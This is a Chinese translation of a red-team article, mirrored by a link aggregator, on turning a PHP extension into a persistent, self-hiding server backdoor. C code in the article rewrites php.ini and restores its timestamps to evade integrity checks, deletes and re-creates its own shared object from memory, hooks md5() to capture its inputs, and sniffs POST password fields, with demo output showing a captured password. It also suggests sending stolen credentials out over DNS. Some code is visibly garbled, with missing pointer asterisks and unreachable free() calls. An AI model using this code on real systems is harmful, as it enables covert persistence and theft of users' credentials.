39

修改PHP扩展作为持久后门

 5 years ago
source link: http://www.freebuf.com/articles/web/179713.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

写在前面的话

在我们作为红队的运营中,我们研究不同的持久后门方法,因为每种技术都有他的优缺点。选择通常基于不同情况,因此对于位于外围的服务器,PHP扩展是一个很棒的选择。我在Tarlogic的博客中做了关于这种旧技术的介绍性帖子。我建议你先阅读该帖子作为介绍,因为在这里我们不会讨论如何创建和编译扩展的基本主题。

本文的重点是:

1.如何减少tracks
2.连接PHP函数并从Red Team中提取有用信息
3.拦截GET / POST参数PS:示例在PHP 7环境中进行测试(PHP 5和PHP 7 API内部之间有变化)

0×00 简介

1.如果在PHP中添加PHP扩展,PHP解释器将在启动时加载PHP.ini文件 (extension = path / to / our / extension)

2.在PHP扩展中,我们主要关注4个hooks: MINITMSHUTDOWN ,以及 RINITRSHUTDOWN 。当解释器启动和停止时,M 以root身份执行(通常)。R 在作为服务器用户执行。

3.我们可以从请求中读取HTTP头并触发任何操作(例如,执行命令或启动反向shell)。为了保持对受感染服务器的访问,PHP扩展是一个非常好的选择。我们可以使用合法的HTTP请求与这种后门进行交互(如推荐文章中所示),因为防火墙和网络规则无法检测到我们。但是想要加载我们的扩展,我们就需要修改php.ini文件重新加载配置。如果未恢复php.ini,那么其大小,哈希和时间戳将不同,操作将公开,蓝队获胜,我们输了。当然,php.ini修改应该会被文件完整性检查器立即检测到,但实际上SOCs往往忽略这种警报

0×01 php.ini未被修改

我们知道当我们修改了php.ini时会生成一个警报。可是如果当有人SSH连接到服务器,对php.ini进行cat操作,我什么也看不见。进行ls操作,时间戳也是好的。重新启动服务器只是为了再次检查没有发生任何奇怪的事情。我们的后门还活着。这是为什么?

当加载我们的PHP扩展时,我们不需要在php.ini文件中保留 “extesion = path/to/our.so” 这一行。我们可以程序化地将其恢复到原始状态。利用 MINIT  hook ,我们可以删除添加到php.ini的行,所以当加载扩展时,这个hook将以root(通常)触发,我们可以编辑php.ini文件而不会出现问题。同样,我们可以使用 MSHUTDOWN 插入一段代码,用于再次将行添加到php.ini中,因此当服务器重新启动时,将再次添加 “extension = ...” 行。当加载扩展时,将执行MINIT并关闭 cicle 。使用这种方法,php.ini文件在大部分时间内都不会显示任何奇怪的内容。泛型函数可以表示如下:

 / This code sucks
int modifyExtension(int action) {
    char source = NULL;
    char needle = NULL;
    FILE fp;
    size_t newSize;
    fp = fopen(PHPINI, "a+");
    if (fp != NULL) {
        if (action == 1) {
            if (fseek(fp, 0L, SEEK_END) == 0) {
                long bufsize = ftell(fp); // FileSize
                if (bufsize == -1) {
                    return -1;
                }
                source = malloc(sizeof(char )  (bufsize + 1)); // Alloc memory to read php.ini
                if (fseek(fp, 0L, SEEK_SET) != 0) {
                    return -1;
                    free(source);
                }
                newSize = fread(source, sizeof(char), bufsize, fp);
                if (ferror(fp) != 0) {
                    return -1;
                    free(source);
                }           
                else {
                    source[newSize++] = '\0';
                    needle = strstr(source, LOCATION);
                    if (needle != 0) {
                        FILE tmp = fopen("/tmp/.tmpini", "w");
                        fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")
                        fclose(tmp);
                        rename("/tmp/.tmpini", PHPINI);
                    }
                }
                free(source);
            }
            fclose(fp);
        }
        if (action == 0) {
            fwrite("\nextension=", 11, 1, fp);
            fwrite(LOCATION, strlen(LOCATION), 1, fp);
            fclose(fp);
            fprintf(stderr, "[+] Extension added to PHP.INI\n");
        }
    }
    else {
        return -1;
    }
    return 1;
}

这种策略的对应部分是,如果服务器以意外方式被kill,则不会执行`MSHUTDOWN hook`。另一方面,时间戳将被修改,因此我们也需要牢记这一点:

#define PHPINI "/u/know/that/php.ini"
...
struct stat st;
stat(PHPINI, &st);
...// Do changes
new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time);

0×02 第二步

我们介绍了如何恢复php.ini,但是如果我们需要删除和恢复后门本身(共享对象),由于我们正在以用户级别工作(如果我们使用rootkit – 例如一个简单的LKM-我们可以隐藏它)。在加载扩展程序时,我们可以轻松地将其内容保存在内存中,然后删除该文件。就像是:

//Simple PoC
PHP_MINIT_FUNCTION(PoC)
{
    //Executed when the module is loaded
    // Privilege: root (usually)
    int fd, check;
    struct utimbuf new_time;
    fprintf(stderr, "[+] LOADED\n");
    //1) Calculate size of the file
    struct stat st;
    if (stat(LOCATION, &st) == -1) {
        return SUCCESS;
    }
    filesize = st.st_size;
    //2) Open the file 
    fd = open(LOCATION, O_RDONLY, 0);
    if (fd == -1) {
        return SUCCESS;
    }
    //3) Map file to memory
    mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
    close(fd);
    
    //4) Delete file
    remove(LOCATION);
    
    //5) Get timestamp
    stat(PHPINI, &st);
    //6) Modify php.ini and delete the extension line
    check = modifyExtension(1);
    if (check == -1) {
        fprintf(stderr, "[+] PHP.INI could not be edited\n");
    }
    else {
        fprintf(stderr, "[+] PHP.INI edited\n");
    }
    //7) Fake timestamp
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;
    utime(PHPINI, &new_time);
...

下一步是使用MSHUTDOWN hook将共享对象从内存写入文件:

PHP_MSHUTDOWN_FUNCTION(Allocer)
{
    // We write the file again, edit php.ini and fake the timestamp
    if (mapedFile == MAP_FAILED) {
        return SUCCESS;
    }
    
    int check;
    FILE *fp;
    struct utimbuf new_time;
    struct stat st;
    fp = fopen(LOCATION, "w");
    fwrite(mapedFile, 1, filesize, fp);
    fclose(fp);
    munmap(mapedFile, filesize);
    stat(PHPINI, &st);
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;    
    
    check = modifyExtension(0);
    utime(PHPINI, &new_time);
    return SUCCESS;
}

0×03 第三步

我们现在知道如何留下最小的tracks,并在Tarlogic博客的帖子中解释了如何与我们的后门进行通信并通过HTTP标头触发操作,所以让我们开始更有趣的事情,比如hooking。作为ReadTeamers,我们渴望获得进行横向运动的凭据。如果我们可以在常见的函数中放置一个hook(比如那些用于哈希密码或用于在数据库中插入新用户的函数),我们可以通过DNS解析索引的关键信息(如本文)。作为一个简单的PoC,我们将挂钩PHP函数md5()。让我们潜入PHP内部深处!函数符号表作为HashTable存储在结构 zend_compiler er_globals 中:

struct _zend_compiler_globals {
    zend_stack loop_var_stack;
    zend_class_entry active_class_entry;
    zend_string compiled_filename;
    int zend_lineno;
    zend_op_array active_op_array;
    HashTable function_table;  / function symbol table /
...

我我们可以通过CG(编译器全局)宏访问`function_table`成员,并搜索函数的地址.由于它是一个HashTable,我们可以使用 zend_hash_str_find_ptr 来搜索密钥“md5”。最后,我们只需要修改处理程序(指向函数的地址),使其指向我们的hook。像这样:

//Placed at MINIT
    ...
    zend_function *orig;
    orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));
    orig->internal_function.handler = zif_md5_hook;
    ...

检查原始的md5功能代码:

PHP_NAMED_FUNCTION(php_if_md5)
{
    zend_string *arg;
    zend_bool raw_output = 0;
    PHP_MD5_CTX context;
    unsigned char digest[16];
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
...

要首先创建我们的hook,我们需要使用正确的数据类型和args来定义它。在官方文档中显示`PHP_NAMED_FUNCTION`(无论如何)扩展为`void zif_whatever(INTERNAL_FUNCTION_PARAMETERS)`。所以我们的hook必须像这样创建:

// Test Hook md5
void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {
    php_printf("[+] Hook called\n");
    zend_string *arg;
    zend_bool raw_output = 0;
    ZEND_PARSE_PARAMETERS_START(1, 2)
        Z_PARAM_STR(arg)
        Z_PARAM_OPTIONAL
        Z_PARAM_BOOL(raw_output)
    ZEND_PARSE_PARAMETERS_END();
    php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));
}

编译并执行:

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
⇒  sudo /usr/local/bin/php  -r "echo md5('kk');"
[+] LOADED
[+] PHP.INI edited
[+] Hook called
[+] MD5 Called with parameter: kk%

0×04嗅探参数

连接juicy函数是获取信息的一种很好的方式,但如果我们知道通过POST或GET发送的参数(例如登录表单)存在,那么捕获这些值要好得多。我们将把代码放在`RINIT hook`中,因为每次处理请求时都会执行它。为了检索信息,我们需要在php_variables.c上检查PHP引擎的工作方式:

...
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_POST]);
ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_POST], &array);
...

因此变量被视为来自`http_globals`的数组。搜索特定值的最简单方法(例如我们希望对登录表单中发送的`“pass”`参数进行说明)是从数组中获取HashTable,然后使用API​​进行搜索,就像我们之前搜索的那样md5功能。我们这样做的魔法函数是HASH_OF:

    zval password;
    zval post_arr;
    HashTable *post_hash;
    post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array
    post_hash = HASH_OF(post_arr);
    password = zend_hash_str_find(post_hash, "pass", strlen("pass"));
    if (password != 0) {
        php_printf("Password: %s", Z_STRVAL_P(password));
    }

如果我们测试它:

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
⇒  curl localhost:8888/k.php --data "pass=s0S3cur3"
Password: s0S3cur3

现在,这个密码可以保存在文件中,或者只是通过DNS发送给我们所拥有的DNS服务器。

0×05 最后的话

PHP扩展是一种强大的方法,可以持久的保存在目标中,当然,这也是开始使用PHP内部的最佳借口。如果你发现这篇文章有用,或者指出我的错误,请通过twitter@TheXC3LL与我联系。

*参考来源: github ,由周大涛编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK